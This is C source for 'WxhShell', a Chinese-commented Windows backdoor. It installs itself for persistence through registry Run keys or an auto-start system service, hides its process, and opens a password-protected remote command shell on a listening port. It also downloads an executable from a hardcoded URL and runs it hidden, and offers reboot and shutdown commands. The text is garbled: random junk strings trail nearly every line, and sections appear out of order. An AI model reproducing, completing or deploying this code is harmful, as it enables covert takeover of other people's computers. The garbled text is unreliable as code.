DWORD PebBaseAddress; >RrG&Wv59
DWORD AffinityMask; \"d\b><R
DWORD BasePriority; lU`t~|>r+
ULONG UniqueProcessId; >AWWwq -
ULONG InheritedFromUniqueProcessId; ]+>Kl>@
} PROCESS_BASIC_INFORMATION; DIgur}q)@
jVna;o)
PROCNTQSIP NtQueryInformationProcess; ktM7L{Nz
tUGF8?&
G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ()Qq7/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M$} AJS%8
mqDI'~T9 u
HANDLE hProcess; Yw\lNhoPS
PROCESS_BASIC_INFORMATION pbi; rpEN\S%7P
E9]*!^=/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PR%n>a#
if(NULL == hInst ) return 0; 3!8 u
$5DlCN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M2nUY`%#v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w`atk=K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J2k4k
28j/K=0(
if (!NtQueryInformationProcess) return 0; vZPBjloT!.
WsT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W)L*zVj~
if(!hProcess) return 0; :W$-b
-4obX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2` Ihrz6
k|$?b7)"@
CloseHandle(hProcess); <:!:7
PmtXD6p3(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lc(eY{CY
if(hProcess==NULL) return 0; yoM^6o^,D
M3eFG@,
HMODULE hMod; bQdu= s[
char procName[255]; Kp19dp}'b
unsigned long cbNeeded; #P
{|7}jk
;,xM*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s\Ln
/Eu|Jg=I
CloseHandle(hProcess); 2rHQ7
p+-IvU
if(strstr(procName,"services")) return 1; // 以服务启动 K1p. {
:mt<]Oy3
return 0; // 注册表启动 rx@2Dmt6
} 4jzjrG
7v}(R:*
// 主模块 w17CZa
6
int StartWxhshell(LPSTR lpCmdLine) {
PS0.UZ
{ GE=PaYz
SOCKET wsl; >[Tt'.S!?
BOOL val=TRUE; u,]qrlx{
int port=0; :Xu9`5
struct sockaddr_in door; csV3mzP
%zO>]f&
if(wscfg.ws_autoins) Install(); [rz5tfMp
H;#C NB<e
port=atoi(lpCmdLine); /h@3R[k
5yjG\~
if(port<=0) port=wscfg.ws_port; NHe[,nIV
U#{(*)qr
WSADATA data; Hxn#vAc
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !t?5U_on
|O;vWn'U2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~.z82m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H#G3CD2&
door.sin_family = AF_INET; 7c8`D;A-K
door.sin_addr.s_addr = inet_addr("127.0.0.1"); y[GqV_~?Y
door.sin_port = htons(port); #VxN [770
<`NtTG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @?gRWH;Pq
closesocket(wsl); b"Jr_24t3v
return 1; 6=Sz5MC
} &AVX03P
Bq,MTzxD
if(listen(wsl,2) == INVALID_SOCKET) { h<qi[d4X
closesocket(wsl); kV4L4yE
return 1; YD0j&@.
} OyG2Ks"H
Wxhshell(wsl); )|W6Z
WSACleanup(); uH#X:Vne
<v?2p{U%
return 0; y2 R\SL,
H|/"'t
OZ
} VO /b&%
+wZ|g6vMct
// 以NT服务方式启动 =&~ K;=:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n*caP9B
{ V(Cxd.u
DWORD status = 0; 2nCHL'8N
DWORD specificError = 0xfffffff; w|4CBll
4}Lui9
serviceStatus.dwServiceType = SERVICE_WIN32; yoz-BS
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xmtD0U1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "G Jhx/zt
serviceStatus.dwWin32ExitCode = 0; ! 6R|
serviceStatus.dwServiceSpecificExitCode = 0; s+ ^1\
serviceStatus.dwCheckPoint = 0; /JIVp_-p
serviceStatus.dwWaitHint = 0; Nw%^Gs<~
mRN[lj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tg<bVA)E'J
if (hServiceStatusHandle==0) return; \\C!{}+
l-5O5|C
status = GetLastError(); ($gmN 4
if (status!=NO_ERROR) AdbTI#eY
{ (%G>TV
serviceStatus.dwCurrentState = SERVICE_STOPPED; _qH]OSo
serviceStatus.dwCheckPoint = 0; @c}Gw;e
serviceStatus.dwWaitHint = 0; C#P>3"
serviceStatus.dwWin32ExitCode = status; #c9MVQ_
serviceStatus.dwServiceSpecificExitCode = specificError; ,^jQBD4={
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 65tsJ"a<
return; >fD%lq;
} Ex6Kxd}8
%VE FruM
serviceStatus.dwCurrentState = SERVICE_RUNNING; <3Rq!w/
serviceStatus.dwCheckPoint = 0; q(BRJ(
serviceStatus.dwWaitHint = 0; ;Mr Q1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OaY]}4tI$
} 3h6,x0AG
Equ%6x
// 处理NT服务事件,比如:启动、停止 aM:tg1g
VOID WINAPI NTServiceHandler(DWORD fdwControl) /K;A bE
{ M&e=LV
switch(fdwControl) 21] K7
{ WGo ryvEx
case SERVICE_CONTROL_STOP: ?P}) Qa
serviceStatus.dwWin32ExitCode = 0; aHPx'R
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z/:W.*u
serviceStatus.dwCheckPoint = 0; $4kbOqn4
serviceStatus.dwWaitHint = 0; ^P`I"T
d
{ <
B!f;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QaXdO=3
} [=:4^S|M
return; N9vNSmm
case SERVICE_CONTROL_PAUSE: COd~H
serviceStatus.dwCurrentState = SERVICE_PAUSED; -L2?Tap
break;
U^-RyE!}
case SERVICE_CONTROL_CONTINUE: r
l;Y7l
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y 2^y73&k
break; 7w\!3pv
case SERVICE_CONTROL_INTERROGATE: z_). -
break; 5Gz~,_
}; PGb}Y {
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0:x+;R<P*w
} $U2Jq@G*
K
k^!P*#
// 标准应用程序主函数 G#='*vOtO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *48LQzc
{ 1+l[P9?R[
,S?:lQuK5
// 获取操作系统版本 $H6n gL
OsIsNt=GetOsVer(); CljEC1S#
GetModuleFileName(NULL,ExeFile,MAX_PATH); [TT:^F(Y
v4\
m9Pu4
// 从命令行安装 Ey_mK\'
if(strpbrk(lpCmdLine,"iI")) Install(); WK.,q>#
nVGOhYn
// 下载执行文件 \_+Af`
if(wscfg.ws_downexe) { 7j"B-k#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q?'Ax"$D
WinExec(wscfg.ws_filenam,SW_HIDE); bf[l4$3k
} rWBgYh
$<f+CtD4
if(!OsIsNt) { ePxf.U
// 如果时win9x,隐藏进程并且设置为注册表启动 Z
eWstw7
HideProc(); Ge24Lp;Y6
StartWxhshell(lpCmdLine); oJI+c+e"
} W\e!rq
else Nt[&rO3s
if(StartFromService()) :k~ p=ko
// 以服务方式启动 w!Z,3Yc)
StartServiceCtrlDispatcher(DispatchTable); /|<0,oz oJ
else 8
;=?Lw?
// 普通方式启动 ">nFzg?Y
StartWxhshell(lpCmdLine); 0JhUncx
/!y3ZzL
return 0; 3W3d $
} H$&P=\8n
lPz5.(5'
=.9tRq
6|1#Prj
=========================================== ~SEIIq
~$bQ;`,L
, qhv(
24Htr/lPCT
+R31YR8C0
ZaFqGcS~
" _3gF~qr
11JO [
#include <stdio.h> a0
w
#include <string.h> HGW;] 8xl
#include <windows.h> ,Nev7X[0
#include <winsock2.h> {1GIiP-U
#include <winsvc.h> "~IGE3{
#include <urlmon.h> ";59,\6
u?8e>a
#pragma comment (lib, "Ws2_32.lib") ]8opI\
#pragma comment (lib, "urlmon.lib") -} +PE 4fh
!i=k=l=
#define MAX_USER 100 // 最大客户端连接数 D&8*4>
#define BUF_SOCK 200 // sock buffer >Wj8[9zf
#define KEY_BUFF 255 // 输入 buffer 2K2jko9'a
cp+eh
#define REBOOT 0 // 重启 M]e _@:!
#define SHUTDOWN 1 // 关机 }$s._)a
9K{0x7~
#define DEF_PORT 5000 // 监听端口 23`pog{n
et}s yPH
#define REG_LEN 16 // 注册表键长度 w"j [c#vM
#define SVC_LEN 80 // NT服务名长度 dJZ
9mP!d
` ln=D$
// 从dll定义API pB,@<\l %
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1)M%]I4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]&L[]
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3a,7lTUuB
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hfQ^C6yR
)W![TIp
// wxhshell配置信息 .fS1
struct WSCFG { Lmyw[s\U
int ws_port; // 监听端口 1
BVpv7@
char ws_passstr[REG_LEN]; // 口令 No)@#^
int ws_autoins; // 安装标记, 1=yes 0=no f@IL2DL}\
char ws_regname[REG_LEN]; // 注册表键名 GSg/I.)S
char ws_svcname[REG_LEN]; // 服务名 N~M-|^L
char ws_svcdisp[SVC_LEN]; // 服务显示名 -Cf<
#'x_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 YZ+<+`Mz<
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vlZ?qIDe
int ws_downexe; // 下载执行标记, 1=yes 0=no K7d]p0d'
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e+O0l
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jm
G)=$,
6.GIUM%D
}; !rgdOlTR ^
m2Q#ATLW
// default Wxhshell configuration wB0ONH[
struct WSCFG wscfg={DEF_PORT, ed7Hz#Qc
"xuhuanlingzhe", qL68/7:A
1, N/mC,7Q
"Wxhshell", A*hc
w
"Wxhshell", `]g}M,
"WxhShell Service", 2<5s0GT'/
"Wrsky Windows CmdShell Service", NU|T`gP
"Please Input Your Password: ", YQ<O.E
1, ]]bL;vlw
"http://www.wrsky.com/wxhshell.exe", 1rhQ{6
"Wxhshell.exe" :+|os"
}; D|!^8jHj
zLLe3?8:
// 消息定义模块 E@\bFy_!>b
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uCpk1d
char *msg_ws_prompt="\n\r? for help\n\r#>"; B1a&'WX?
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 68jq1Y
Pv
char *msg_ws_ext="\n\rExit."; {\f`s^;8{
char *msg_ws_end="\n\rQuit."; 'm+)n08[
char *msg_ws_boot="\n\rReboot..."; *1;}c
z
char *msg_ws_poff="\n\rShutdown..."; [.`#N1-@M
char *msg_ws_down="\n\rSave to "; t5pf4M7
~4+=C\r
char *msg_ws_err="\n\rErr!"; {EGm6WSQ^
char *msg_ws_ok="\n\rOK!"; w`Js"_\
&/A?*2
char ExeFile[MAX_PATH]; n,NKJt
int nUser = 0; *.0#cP7 "
HANDLE handles[MAX_USER]; w0^T- O`<
int OsIsNt; ^++ec>
bI~(<-S~K
SERVICE_STATUS serviceStatus; Y r^C+Oyg
SERVICE_STATUS_HANDLE hServiceStatusHandle; NbnuQPb'
9rsty{J8
// 函数声明 h $}&N
int Install(void); j*jO809%^
int Uninstall(void); X6]eQ PN2
int DownloadFile(char *sURL, SOCKET wsh); gyW##M@{
int Boot(int flag); n/5)}( }K
void HideProc(void);
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int GetOsVer(void); q@x{6zj
int Wxhshell(SOCKET wsl); - ?W hJ.U
void TalkWithClient(void *cs); we&g9j'
int CmdShell(SOCKET sock); 9L'R;H?L
int StartFromService(void); Y8 a![
int StartWxhshell(LPSTR lpCmdLine); JY tM1d
Pz1[ b$%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0UvN ws
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bqAv)2
\f_YJit
// 数据结构和表定义 6uf+,F
SERVICE_TABLE_ENTRY DispatchTable[] = |PED8K:rU
{ Ue<Y ~A
{wscfg.ws_svcname, NTServiceMain}, ~h{v^}
{NULL, NULL} 3N,!y
}; IU`&h2KZ.
ApYri|^r
// 自我安装 =?f\o*J)
int Install(void) ',yY
{ tc'`4O]c8
char svExeFile[MAX_PATH]; L{\au5-4
HKEY key; jnuovM!x~
strcpy(svExeFile,ExeFile); 6A]Ia4PL
:8bz+3p
// 如果是win9x系统,修改注册表设为自启动 S5Q$dAL
if(!OsIsNt) { {uRnZ/m
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YRYAQj/7
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y&k6Xhuao
RegCloseKey(key); \$Nx`daFi
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iS^IqS
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /CAi%UH,F
RegCloseKey(key); .)>DFGb>H
return 0; 1dF=BR8
} KN;b+`x;M
} MKYXYR
} OIa=$l43C
else { ~E=.*: 5(
(!U5B
Hnd
// 如果是NT以上系统,安装为系统服务 iQ9jt
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GyOo$FW
if (schSCManager!=0) Cu0N/hBT
{ 3!0Eh8ncI
SC_HANDLE schService = CreateService joh=0nk;D
( <=*xwI&q
schSCManager, +`==US34
wscfg.ws_svcname, 6t|FuTC
wscfg.ws_svcdisp, 2rq)U+
SERVICE_ALL_ACCESS, *1}'ZEaJ
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3Q`F x
SERVICE_AUTO_START, 40}8EP k)
SERVICE_ERROR_NORMAL, Brh<6Btl
svExeFile, b<B|p|
NULL, ?+S& `%?
NULL, E+AEV`-
NULL, >uuP@j
NULL, N6Fj}m&E
NULL z&o"K\y\
); MmBM\Dnv
if (schService!=0) 2 fX-J
{ +1H.5|
CloseServiceHandle(schService); WVp7H
CloseServiceHandle(schSCManager); dIG(7~
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \w!G
strcat(svExeFile,wscfg.ws_svcname); fMn7E8.
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w<<G}4~u|
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z6vRTY
RegCloseKey(key); Eoug/we
return 0; ee]PFW28
} MX 2UYZ&
} h5G>FPM-=
CloseServiceHandle(schSCManager); Y%b
5{1
} Y B@\"|}
} 1o7
pMp=
/H=fK
return 1; )FM/^
} 3VbQDPG
ip4:px-
// 自我卸载 +pJ;}+
int Uninstall(void) 9~DoF]TM
{ _gK@),de
HKEY key; w8*+l0
1%|+yu1
if(!OsIsNt) { ^{["]!f#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B&_ 62`
RegDeleteValue(key,wscfg.ws_regname); `?PZvGi
RegCloseKey(key); $WvI%r
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IBY3QG
RegDeleteValue(key,wscfg.ws_regname); rp.S4;=Q 9
RegCloseKey(key); |lIkmW{
return 0; ~a8J"Wh
} XB-pOtVm
} zPU&
}7
} e@s+]a8D-k
else { 6I(y`pJ
:cop0;X:Wm
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pJx88LfR
if (schSCManager!=0) \BaN?u)a
{ '|<